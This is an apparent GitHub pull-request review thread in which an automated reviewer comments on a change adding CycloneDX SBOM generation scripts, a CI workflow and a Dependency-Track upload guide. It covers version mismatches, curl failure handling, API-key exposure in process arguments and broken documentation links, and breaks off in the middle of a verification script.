  sed -n '130,160p' security/SBOM.md | cat -n
else
  echo 'security/SBOM.md not found'
fi

echo
 echo '--- curl invocations in SBOM docs ---'
rg -n 'curl|bom|DT_BASE_URL|DSC_BASE_URL' security/SBOM.md 2>/dev/null || true

echo
echo '--- curl availability and version ---'
if command -v curl >/dev/null 2>&1; then
  curl --version | head -5
else
  echo 'curl not available'
fi

echo
echo '--- Read-only parser check for line 143 ---'
python3 - <<'PY'
from pathlib import Path
p=Path('security/SBOM.md')
if p.exists():
    lines=p.read_text().splitlines()
    if 143 <= len(lines):
        line=lines[142]
        print(f'line_143_has_curl={"curl" in line}')
        print(f'line_143_has_fail={"--fail" in line or "--fail-with-body" in line}')
        print(f'line_143={line}')
    else:
        print('line_missing')
PY

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 6370


🌐 Web query:

curl docs --fail-with-body HTTP response codes 4xx 5xx --fail

💡 Result:

The --fail-with-body command line option in curl is used to handle HTTP server errors (response codes 400 or greater) while still preserving and outputting the response body [1][2][3]. Key details: - Behavior: When the server returns an HTTP status code of 400 or higher, curl will return an exit code of 22 (CURLE_HTTP_RETURNED_ERROR) [1][4]. Unlike the standard --fail option, which discards the response body when an error occurs, --fail-with-body saves and outputs the content [1][2][3]. - Mutually Exclusive: This option is mutually exclusive with the standard --fail (-f) flag [2][5][6]. - Use Case: It is primarily used for debugging or parsing error messages returned by a server, which are often provided in the response body (e.g., HTML or JSON error details) [1][7][3]. - Requirements: The option was added in curl version 7.76.0 [1][2][3]. Comparison: - --fail (-f): Fails on HTTP errors (>= 400) by returning exit code 22 and producing no response body output [2][5][8]. - --fail-with-body: Fails on HTTP errors (>= 400) by returning exit code 22 but still saves and outputs the response body [1][2][3].

Citations:


🌐 Web query:

curl manpage default failsafe curl won't fail HTTP 4xx 5xx

💡 Result:

By default, curl does not consider HTTP response codes (such as 4xx or 5xx) to indicate a failure [1][2]. Even if a server returns an error code, curl considers the HTTP transfer itself successful if the response is received, and it will output the response body by default [1][2]. To force curl to exit with an error code when receiving HTTP server errors (400 or greater), you must explicitly use the --fail (or -f) command-line option [1][3]. When --fail is used: 1. Curl will return exit code 22 upon encountering an HTTP response code of 400 or greater [1][4]. 2. Curl will suppress the output of the response body [1][5]. It is important to note that --fail is not considered "fail-safe" [1][6]. In certain scenarios, particularly those involving authentication (such as HTTP 401 Unauthorized or 407 Proxy Authentication Required), non-successful response codes may still slip through and not trigger an error [1][3][6]. For scenarios where you need to receive the error code but also require the server's error response body, you can use the --fail-with-body option as an alternative to --fail [1][7]. Additionally, if your command involves multiple URLs, be aware that --fail is not a global option and is contained by --next [1][5]. For ensuring that any failure in a multi-URL command stops execution, you may need to combine it with --fail-early [1][7].

Citations:


Make the Dependency-Track upload fail on HTTP errors.

The curl command at security/SBOM.md:143 will not exit non-zero for Dependecy-Track HTTP 4xx/5xx responses by default. Add --fail-with-body --show-error so upload failures are not silently treated as successes.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@security/SBOM.md` at line 143, Update the curl invocation in the
Dependency-Track upload command to include both --fail-with-body and
--show-error, ensuring HTTP 4xx/5xx responses produce a non-zero exit while
preserving the response body and error output.

Comment thread security/SBOM.md Outdated
Comment on lines +143 to +144
curl -X POST "${DT_BASE_URL}/api/v1/bom" \
-H "X-Api-Key: ${DT_API_KEY}" \

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟡 Minor | ⚡ Quick win

Keep DT_API_KEY out of process arguments.

If this recipe runs on a shared Linux runner, shell expansion puts the API key in the curl argument list. Running processes expose their command-line arguments through /proc/<pid>/cmdline. Use a protected curl configuration or another secret transport. (man7.org)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@security/SBOM.md` around lines 143 - 144, Update the curl invocation in the
SBOM upload recipe so DT_API_KEY is not expanded into the process argument list;
use a protected curl configuration or another secret transport while preserving
the X-Api-Key header behavior.

Comment thread security/SBOM.md Outdated
-H "X-Api-Key: ${DT_API_KEY}" \
-F "projectName=stellar-portfolio-rebalancer" \
-F "projectVersion=$(git describe --tags --always 2>/dev/null || echo 'dev')" \
-F "autoCreate=true" \

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟡 Minor | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "== file context =="
sed -n '120,170p' security/SBOM.md

echo
echo "== dependency-track docs mentions in repo? =="
rg -n "autoCreate|PROJECT_CREATION_UPLOAD|BOM_UPLOAD|DEPENDENCY_TRACK" security -S || true

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 2572


🌐 Web query:

Dependency-Track API autoCreate=true API key permissions PROJECT_CREATION_UPLOAD BOM_UPLOAD

💡 Result:

To use the Dependency-Track autoCreate=true parameter when uploading a Software Bill of Materials (SBOM) via the REST API, the API key principal must possess the PROJECT_CREATION_UPLOAD permission [1][2]. Key points regarding permissions and behavior for auto-creation: Required Permissions: To successfully upload a BOM and trigger the auto-creation of a project if it does not exist, the associated team must hold both BOM_UPLOAD (to perform the upload) and PROJECT_CREATION_UPLOAD (to perform the project creation) permissions [1][3]. Access Control (ACL) Integration: When an API key automatically creates a project, Dependency-Track ensures the team associated with that API key is added to the new project's Access Control List (ACL) [4][5]. This ensures the team retains permission to view or manage the newly created project [5][3]. Common Issues: - Access Denied (403): If you receive a "Forbidden" or "Access Denied" error despite having these permissions, ensure that Portfolio Access Control (PAC) is configured correctly. In some environments, users have reported that additional permissions (such as ACCESS_MANAGEMENT) were erroneously required in certain versions due to specific access control configurations, though BOM_UPLOAD and PROJECT_CREATION_UPLOAD are the standard intended requirements [6][3]. - Parent Projects: If you are auto-creating a child project, be aware that the child project does not automatically inherit the team assignments of the parent project [7]. You may need to manually manage team assignments for child projects or adjust your workflow to accommodate this behavior [7]. - Configuration: Ensure that authentication and authorization are enabled in your Dependency-Track instance. Disabling these (ALPINE_ENFORCE_AUTHENTICATION=false or ALPINE_ENFORCE_AUTHORIZATION=false) is not supported and can interfere with expected permission handling [8]. API Usage: The autoCreate=true parameter is used with the POST /api/v1/bom (and PUT in some versions) endpoint [9][10]. You must provide the projectName and projectVersion in your request for the auto-creation to succeed [9][11].

Citations:


Document the autoCreate permission requirement.

This POST /api/v1/bom call uses autoCreate=true, so pair the documented X-Api-Key requirement with PROJECT_CREATION_UPLOAD permission instead of listing only upload access.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@security/SBOM.md` at line 147, Update the documented permissions for the POST
/api/v1/bom example using autoCreate=true to include PROJECT_CREATION_UPLOAD
alongside the existing upload permission, and keep the X-Api-Key requirement
documented.

Implements the SBOM pipeline (ritik4ever#1531) by adding CycloneDX 1.6 JSON generation for every tracked package (contracts, backend, frontend), wired into CI and exposed via npm scripts for local use.

Adds:

- scripts/sbom/install-tools.sh — idempotent installer for cargo-cyclonedx.

- scripts/sbom/generate-contracts-sbom.sh — cargo-cyclonedx for the wasm32 contracts crate.

- scripts/sbom/generate-backend-sbom.sh — @cyclonedx/cyclonedx-npm for the Node backend.

- scripts/sbom/generate-frontend-sbom.sh — @cyclonedx/cyclonedx-npm for the Node frontend.

- scripts/sbom/generate-all.sh — drives all three per-ecosystem generators.

- .github/workflows/sbom.yml — dedicated SBOM Generation workflow on PR + push to main + release: published + workflow_dispatch; uploads sbom-{contracts,backend,frontend} workflow artifacts.

- security/SBOM.md — consumer guide covering Dependency-Track, Grype, Snyk, syft/bom-cli ingestion recipes.

- security/sbom/.gitkeep — dir marker; /security/sbom/* is gitignored via the standard re-include pattern.

Modifies:

- .github/workflows/build.yml — embeds frontend + backend SBOMs into the existing build bundle (paths fixed: single .. from frontend/backend working-directory).

- contracts/Makefile — adds `sbom` and `install-sbom-tools` targets.

- package.json — top-level scripts: sbom, sbom:contracts, sbom:backend, sbom:frontend, sbom:install.

- backend/package.json + frontend/package.json — adds @cyclonedx/cyclonedx-npm devDep + sbom script.

- scripts/README.md, docs/OPERATIONS.md, docs/RELEASE_CHECKLIST.md, CHANGELOG.md — refreshed to reference the new pipeline and SBOM.md.

Closes ritik4ever#1531.
@Meet-hybrid
Meet-hybrid force-pushed the feat/security-sbom-generation branch from 396c967 to 0e823ec Compare August 1, 2026 01:33

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 12

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/workflows/sbom.yml:
- Around line 72-79: Update the SBOM generation steps in the workflow to produce
CycloneDX 1.6 JSON, validate every generated artifact’s specVersion before the
upload step, and align the corresponding CHANGELOG.md and security/SBOM.md
documentation with 1.6.
- Around line 9-11: Update the release-triggered SBOM flow around the
release-please action so SBOM generation remains reachable after a release is
created: either configure a release-please token with permission to trigger
downstream workflows, or invoke the SBOM workflow from the release-please
workflow using steps.release.outputs.release_created and tag_name via manual
dispatch. Preserve the existing published-release behavior and use the
established release outputs.
- Line 26: Update the actions/checkout@v4 step in the SBOM workflow to set
persist-credentials to false, ensuring the checkout token is not retained in the
repository’s Git configuration.

In `@scripts/README.md`:
- Line 124: Align the SBOM implementation with the required CycloneDX version by
updating the generators invoked by generate-all.sh, the validation in sbom.yml,
and the documented version in scripts/README.md consistently from 1.5 to 1.6; if
1.5 is intentionally retained, instead revise the stated objective to match it.
- Line 124: Update the SBOM workflow description in scripts/README.md to include
manual dispatch alongside pull requests, pushes to main, and releases,
explicitly preserving that it generates and uploads all three SBOM artifacts.

In `@scripts/sbom/generate-contracts-sbom.sh`:
- Around line 21-26: The SBOM pipeline inconsistently targets CycloneDX 1.5
while project metadata declares 1.6. Update SPEC_VERSION and the related
symbols/configuration in generate-contracts-sbom.sh, install-tools.sh, local
scripts, documentation, workflow metadata, and pinned tooling to consistently
use a CycloneDX 1.6-compatible toolchain; preserve matching output and version
references throughout.
- Around line 42-48: Update the cargo cyclonedx invocation and subsequent mv in
the contract SBOM generation flow so they reference the same output filename:
either change --override-filename to contracts.cdx to preserve
contracts.cdx.json, or move contracts.json instead. Ensure the resulting
artifact is still written to OUT_FILE.

In `@scripts/sbom/install-tools.sh`:
- Around line 9-11: Update the usage example for CARGO_CYCLONEDX_VERSION in
install-tools.sh to use the package-qualified value cargo-cyclonedx@0.5.9,
matching how the variable is passed to cargo install; leave the existing
installation behavior unchanged.

In `@security/SBOM.md`:
- Around line 185-198: Update the jq validation command in the “Standalone
validation” section to parenthesize the .components filter before applying
length, preserving the separate .bomFormat and .specVersion outputs and making
length apply only to the components array.
- Around line 214-219: Correct the relative Markdown links in the reference list
of SBOM.md: change the workflow and scripts links to use
repository-root-relative paths with one fewer parent traversal, and add the
missing docs/ directory to the CONTRIBUTING.md, OPERATIONS.md, and
RELEASE_CHECKLIST.md links while preserving their destinations.
- Around line 163-171: Update the Snyk commands in the Snyk section to use `snyk
sbom test --file=...` for both CycloneDX JSON files instead of `snyk sbom
--file=...`. Remove or revise the statement claiming Snyk does not evaluate Rust
CycloneDX SBOMs, while preserving the existing cargo audit guidance if still
applicable.
- Around line 173-182: Update the “bom-cli / Syft round-trip” documentation to
use the CycloneDX CLI’s documented validate command for structural validation of
security/sbom/backend.cdx.json, and its convert command for generating the SPDX
output. Replace the incorrect syft attest and bom convert examples while
preserving the existing input and output files.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro Plus

Run ID: 04b4e103-0f1d-4314-889d-58783f39112f

📥 Commits

Reviewing files that changed from the base of the PR and between 107c508 and 0e823ec.

⛔ Files ignored due to path filters (3)
  • backend/package-lock.json is excluded by !**/package-lock.json
  • frontend/package-lock.json is excluded by !**/package-lock.json
  • package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (19)
  • .github/workflows/build.yml
  • .github/workflows/sbom.yml
  • .gitignore
  • CHANGELOG.md
  • backend/package.json
  • contracts/Cargo.toml
  • contracts/Makefile
  • docs/OPERATIONS.md
  • docs/RELEASE_CHECKLIST.md
  • frontend/package.json
  • package.json
  • scripts/README.md
  • scripts/sbom/generate-all.sh
  • scripts/sbom/generate-backend-sbom.sh
  • scripts/sbom/generate-contracts-sbom.sh
  • scripts/sbom/generate-frontend-sbom.sh
  • scripts/sbom/install-tools.sh
  • security/SBOM.md
  • security/sbom/.gitkeep
🚧 Files skipped from review as they are similar to previous changes (6)
  • security/sbom/.gitkeep
  • .github/workflows/build.yml
  • scripts/sbom/generate-all.sh
  • package.json
  • .gitignore
  • docs/OPERATIONS.md

Comment on lines +9 to +11
# Re-run SBOM generation when a new release tag is cut by release-please.
release:
types: [published]

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/usr/bin/env bash
set -euo pipefail

fd -t f -e yml -e yaml .github/workflows \
  -x rg -n -C 6 'release-please|token:|GITHUB_TOKEN|PAT|app'

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 551


🏁 Script executed:

#!/usr/bin/env bash
set -euo pipefail

echo "== workflow files =="
fd . .github/workflows -t f -e yml -e yaml || true

echo
echo "== release-please/token/event references =="
rg -n -C 5 'release-please|GITHUB_TOKEN|token:|token=|app-id|installation-id|release:|pull_request_review' .github/workflows || true

echo
echo "== all release-ish configs =="
rg -n -C 4 'release-please|release-please-action|release:\s*published|tag-output|pull-request' -S . --glob '!node_modules/**' --glob '!dist/**' --glob '!build/**' || true

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 15246


🌐 Web query:

Googleapis release-please-action v4 token GitHub Release created downstream release events workflows GITHUB_TOKEN

💡 Result:

When using googleapis/release-please-action v4, the default GITHUB_TOKEN will not trigger downstream GitHub Actions workflows (such as those triggered by release.published or push events). This is a standard GitHub Actions security feature designed to prevent recursive workflow loops [1][2][3][4]. To enable downstream workflow triggering, you have two primary options: 1. Use a Personal Access Token (PAT): You can provide a PAT with the necessary permissions (e.g., repo, workflow) to the token input of the action [1][5]. Since the event is then perceived by GitHub as being generated by a user rather than a GITHUB_TOKEN, it will trigger subsequent workflows as expected [6][5]. 2. Explicitly trigger downstream workflows: You can use the outputs provided by the release-please-action (such as release_created and tag_name) to manually dispatch subsequent workflows within the same action run [7][8][3]. This approach avoids the need for a PAT and is often implemented using the GitHub CLI or GitHub API via actions/github-script [7][8][3]. Example using explicit dispatch: - uses: googleapis/release-please-action@v4 id: release with: token: ${{ secrets.GITHUB_TOKEN }} - name: Trigger downstream workflow if: ${{ steps.release.outputs.release_created == 'true' }} run: | gh workflow run publish.yml --ref "${{ steps.release.outputs.tag_name }}" env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} Note that when using explicit dispatch, you must ensure your GITHUB_TOKEN has the required permissions (e.g., actions: write) to trigger other workflows [7][3]. Additionally, verify that you are referencing output variables correctly (e.g., using == 'true' for boolean outputs in v4) [9].

Citations:


Make the release SBOM run reachable after release creation.

.github/workflows/release-please.yml uses googleapis/release-please-action@v4 without a token, so it defaults to GITHUB_TOKEN and the subsequent release: published event will not start .github/workflows/sbom.yml. Add a token/input capability that can trigger downstream workflows, or generate the release SBOM from the release-please workflow using steps.release.outputs.release_created / tag_name by manual dispatch.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/sbom.yml around lines 9 - 11, Update the release-triggered
SBOM flow around the release-please action so SBOM generation remains reachable
after a release is created: either configure a release-please token with
permission to trigger downstream workflows, or invoke the SBOM workflow from the
release-please workflow using steps.release.outputs.release_created and tag_name
via manual dispatch. Preserve the existing published-release behavior and use
the established release outputs.

CARGO_TERM_COLOR: never

steps:
- uses: actions/checkout@v4

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "== workflow excerpt =="
sed -n '1,120p' .github/workflows/sbom.yml 2>/dev/null || true

echo
echo "== git references to credentials in workflow =="
rg -n "persist-credentials|git (push|fetch|clone|remote-add|remote set-url)|credential|GITHUB_TOKEN|GH_TOKEN|GIT_ASKPASS|SSH_AUTH_SOCK" .github/workflows/sbom.yml || true

echo
echo "== checkout usage summary =="
python3 - <<'PY'
from pathlib import Path
p=Path('.github/workflows/sbom.yml')
text=p.read_text().splitlines()
for i,line in enumerate(text,1):
    if 'uses: actions/checkout' in line:
        print(f"{i}: {line.strip()}")
        j=i
        while j <= len(text) and (line.startswith(' ') or line.strip()=='' or 'uses:' not in text[j-1] or text[j-1].strip().startswith('- uses: actions/checkout')):
            line=text[j-1]
            if 'uses:' in line and j>i:
                break
            j+=1
PY

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 4067


Disable persisted checkout credentials.

This workflow runs pull request code and does not need authenticated Git operations. Set persist-credentials: false on the actions/checkout@v4 step so the token is not left in .git/config.

Proposed fix
       - uses: actions/checkout@v4
+        with:
+          persist-credentials: false
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
- uses: actions/checkout@v4
- uses: actions/checkout@v4
with:
persist-credentials: false
🧰 Tools
🪛 zizmor (1.28.0)

[warning] 26-28: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false

(artipacked)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/sbom.yml at line 26, Update the actions/checkout@v4 step
in the SBOM workflow to set persist-credentials to false, ensuring the checkout
token is not retained in the repository’s Git configuration.

Source: Linters/SAST tools

Comment on lines +72 to +79
- name: Generate contracts SBOM (CycloneDX 1.5 JSON)
run: bash scripts/sbom/generate-contracts-sbom.sh

- name: Generate backend SBOM (CycloneDX 1.5 JSON)
run: bash scripts/sbom/generate-backend-sbom.sh

- name: Generate frontend SBOM (CycloneDX 1.5 JSON)
run: bash scripts/sbom/generate-frontend-sbom.sh

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🗄️ Data Integrity & Integration | 🟠 Major | 🏗️ Heavy lift

🧩 Analysis chain

🏁 Script executed:

#!/usr/bin/env bash
set -euo pipefail

rg -n 'CYCLONEDX_SPEC_VERSION|specVersion|CycloneDX 1\.[56]|1\.[56]' \
  scripts/sbom .github/workflows/sbom.yml security/SBOM.md CHANGELOG.md

for file in contracts.cdx.json backend.cdx.json frontend.cdx.json; do
  test "$(node -p "require('./security/sbom/$file').specVersion")" = "1.6"
done

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 4870


🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "== changed files =="
git diff --name-only -- 'security/SBOM.md' 'CHANGELOG.md' '.github/workflows/sbom.yml' 'scripts/sbom/*'

echo
echo "== workflow around runs =="
sed -n '1,120p' .github/workflows/sbom.yml

echo
echo "== SBOM docs top and version sections =="
sed -n '1,130p' security/SBOM.md
sed -n '170,210p' security/SBOM.md

echo
echo "== changelog relevant lines =="
sed -n '100,125p' CHANGELOG.md

echo
echo "== generator scripts relevant lines =="
for f in scripts/sbom/generate-contracts-sbom.sh scripts/sbom/generate-backend-sbom.sh scripts/sbom/generate-frontend-sbom.sh scripts/sbom/generate-all.sh scripts/sbom/install-tools.sh; do
  echo "--- $f"
  wc -l "$f"
  sed -n '1,80p' "$f"
done

echo
echo "== tracked SBOM files and specVersion =="
git ls-files security/sbom
for file in contracts.cdx.json backend.cdx.json frontend.cdx.json; do
  if [ -f "security/sbom/$file" ]; then
    node -e "const fs=require('fs'); const f='security/sbom/${file}'; const j=JSON.parse(fs.readFileSync(f,'utf8')); console.log(f+' specVersion='+j.specVersion+' bomFormat='+j.bomFormat)"
  else
    echo "missing security/sbom/$file"
  fi
done

echo
echo "== SBOM version references =="
rg -n 'CycloneDX 1\.[56]|1\.[56]|CYCLONEDX_SPEC_VERSION|specVersion|npm run sbom|sbom:contracts|sbom:backend|sbom:frontend|make sbom|Generate contracts SBOM|Generate backend SBOM|Generate frontend SBOM|SBOMs|SBOM' \
  .github/workflows/sbom.yml security/SBOM.md CHANGELOG.md scripts/sbom security 2>/dev/null | head -200

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 36132


Ensure generated SBOM artifacts match CycloneDX 1.6 before upload.

CHANGELOG.md advertises CycloneDX 1.6 JSON artifacts, but the workflow generates 1.5 and security/SBOM.md documents 1.5. Generate the artifacts with CycloneDX 1.6 and validate each file's specVersion before upload, then align the CHANGELOG.md and security/SBOM.md consumer documentation.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/sbom.yml around lines 72 - 79, Update the SBOM generation
steps in the workflow to produce CycloneDX 1.6 JSON, validate every generated
artifact’s specVersion before the upload step, and align the corresponding
CHANGELOG.md and security/SBOM.md documentation with 1.6.

Comment thread scripts/README.md

## SBOM generation (`scripts/sbom/`)

The repo ships a CycloneDX 1.5 SBOM pipeline for every tracked package (contracts, backend, frontend). Run `npm run sbom` at the repo root to generate all three at once; the wrapper `scripts/sbom/generate-all.sh` calls the per-ecosystem helpers below and writes to `security/sbom/{ecosystem}.cdx.json`. The same files are generated by `.github/workflows/sbom.yml` and uploaded as workflow artifacts named `sbom-{frontend,backend,contracts}` on every PR + push to `main` + release.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🗄️ Data Integrity & Integration | 🟠 Major | 🏗️ Heavy lift

🧩 Analysis chain

🏁 Script executed:

#!/usr/bin/env bash
set -euo pipefail
rg -n 'CycloneDX|cyclonedx|specVersion|1\.5|1\.6|sbom-(contracts|backend|frontend)' \
  scripts/sbom .github/workflows security scripts/README.md

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 9834


Resolve the CycloneDX version requirement before merge.

The documented and configured SBOM path uses CycloneDX 1.5, while the PR objective requires CycloneDX 1.6. If 1.6 is required, update the generators, workflow validation, and documentation together. If 1.5 is intentional, fix the objective mismatch before merge.

🧰 Tools
🪛 LanguageTool

[uncategorized] ~124-~124: The official name of this software platform is spelled with a capital “H”.
Context: ....json. The same files are generated by .github/workflows/sbom.yml` and uploaded as wor...

(GITHUB)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@scripts/README.md` at line 124, Align the SBOM implementation with the
required CycloneDX version by updating the generators invoked by
generate-all.sh, the validation in sbom.yml, and the documented version in
scripts/README.md consistently from 1.5 to 1.6; if 1.5 is intentionally
retained, instead revise the stated objective to match it.

📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win

Document the manual dispatch path.

The PR objective includes manual dispatch, but this sentence lists only pull requests, pushes to main, and releases. Add manual dispatch so operators know that a manual run also generates and uploads all three SBOMs.

Proposed wording
-... on every PR + push to `main` + release.
+... for pull requests, pushes to `main`, published releases, and manual dispatch.
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
The repo ships a CycloneDX 1.5 SBOM pipeline for every tracked package (contracts, backend, frontend). Run `npm run sbom` at the repo root to generate all three at once; the wrapper `scripts/sbom/generate-all.sh` calls the per-ecosystem helpers below and writes to `security/sbom/{ecosystem}.cdx.json`. The same files are generated by `.github/workflows/sbom.yml` and uploaded as workflow artifacts named `sbom-{frontend,backend,contracts}` on every PR + push to `main` + release.
The repo ships a CycloneDX 1.5 SBOM pipeline for every tracked package (contracts, backend, frontend). Run `npm run sbom` at the repo root to generate all three at once; the wrapper `scripts/sbom/generate-all.sh` calls the per-ecosystem helpers below and writes to `security/sbom/{ecosystem}.cdx.json`. The same files are generated by `.github/workflows/sbom.yml` and uploaded as workflow artifacts named `sbom-{frontend,backend,contracts}` for pull requests, pushes to `main`, published releases, and manual dispatch.
🧰 Tools
🪛 LanguageTool

[uncategorized] ~124-~124: The official name of this software platform is spelled with a capital “H”.
Context: ....json. The same files are generated by .github/workflows/sbom.yml` and uploaded as wor...

(GITHUB)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@scripts/README.md` at line 124, Update the SBOM workflow description in
scripts/README.md to include manual dispatch alongside pull requests, pushes to
main, and releases, explicitly preserving that it generates and uploads all
three SBOM artifacts.

Comment on lines +21 to +26
SPEC_VERSION="${CYCLONEDX_SPEC_VERSION:-1.5}"

if ! command -v cargo >/dev/null 2>&1; then
echo "[sbom] ::error:: cargo is not on PATH." >&2
exit 1
fi

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "Files matching generate-contracts-sbom.sh:"
fd -a 'generate-contracts-sbom\.sh$' . || true

echo
echo "Relevant files:"
for f in $(fd -a 'generate-contracts-sbom\.sh$' .); do
  echo "--- $f"
  wc -l "$f"
  sed -n '1,120p' "$f"
done

echo
echo "Search for SBOM/version mentions:"
rg -n "CycloneDX|cyclonedx|sbom|contracts\.cdx|0\.5\.9|SPEC_VERSION|CYCLONEDX_SPEC_VERSION|--schema-version|1\.5|1\.6" -S . --glob '!node_modules' --glob '!dist' --glob '!build' || true

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 50395


🌐 Web query:

CycloneDX cargo-cyclonedx 0.5.9 README support through 1.5 spec-version

💡 Result:

The cargo-cyclonedx version 0.5.9 README explicitly supports the CycloneDX specification version 1.5 [1][2][3]. The command-line help documentation and usage instructions within the tool confirm that the --spec-version option accepts 1.3, 1.4, or 1.5, with 1.3 serving as the default [1][2][3].

Citations:


🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "Inspect relevant docs/workflows and exact spec references:"
sed -n '1,170p' README.md
echo
sed -n '110,122p' CHANGELOG.md
echo
sed -n '1,180p' scripts/README.md
echo
sed -n '1,60p' .github/workflows/sbom.yml

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 16414


🌐 Web query:

CycloneDX spec version 1.6 release date JSON schema

💡 Result:

The CycloneDX specification version 1.6 was released on April 9, 2024 [1][2][3][4]. The official JSON schema for version 1.6 is available in the CycloneDX specification repository [5][6]. It can be accessed directly at the following URL: https://github.com/CycloneDX/specification/blob/master/schema/bom-1.6.schema.json [5][6].

Citations:


🌐 Web query:

CycloneDX npm 1.x spec-version 1.6 @cyclonedx/cyclonedx-npm support versions

💡 Result:

The @cyclonedx/cyclonedx-npm package provides support for CycloneDX specification version 1.6 [1][2]. Support for the 1.6 specification was initially added in version 1.17.0 of the tool [3]. As of recent releases, the --spec-version command-line option explicitly supports the value "1.6" [1][3]. Furthermore, in version 2.0.0 and later, the default value for the --spec-version option was updated to 1.6 [4][3]. You can verify the available specification versions in your local environment by running the tool with the help flag [1][5]: cyclonedx-npm --help This will display the supported versions for the --spec-version option, which typically includes "1.2", "1.3", "1.4", "1.5", and "1.6" [1][6].

Citations:


Resolve the CycloneDX 1.5/1.6 mismatch.

CHANGELOG.md and the workflow title state CycloneDX 1.6, but scripts/sbom/generate-contracts-sbom.sh, local scripts, docs, and pinned tools still produce CycloneDX 1.5. Either update to a CycloneDX 1.6-compatible toolchain across the SBOM pipeline, or change the 1.6 references to 1.5 with an explicit rationale. (CHANGELOG.md, scripts/sbom/install-tools.sh)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@scripts/sbom/generate-contracts-sbom.sh` around lines 21 - 26, The SBOM
pipeline inconsistently targets CycloneDX 1.5 while project metadata declares
1.6. Update SPEC_VERSION and the related symbols/configuration in
generate-contracts-sbom.sh, install-tools.sh, local scripts, documentation,
workflow metadata, and pinned tooling to consistently use a CycloneDX
1.6-compatible toolchain; preserve matching output and version references
throughout.

Comment on lines +9 to +11
# Usage:
# scripts/sbom/install-tools.sh # install cargo-cyclonedx only
# CARGO_CYCLONEDX_VERSION=0.5.9 ./... # override the pinned version

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "## locate install-tools.sh"
fd -a 'install-tools\.sh$' . || true

echo "## file snippet and context"
if [ -f scripts/sbom/install-tools.sh ]; then
  cat -n scripts/sbom/install-tools.sh | sed -n '1,80p'
fi

echo "## search CARGO_CYCLONEDX_VERSION usages"
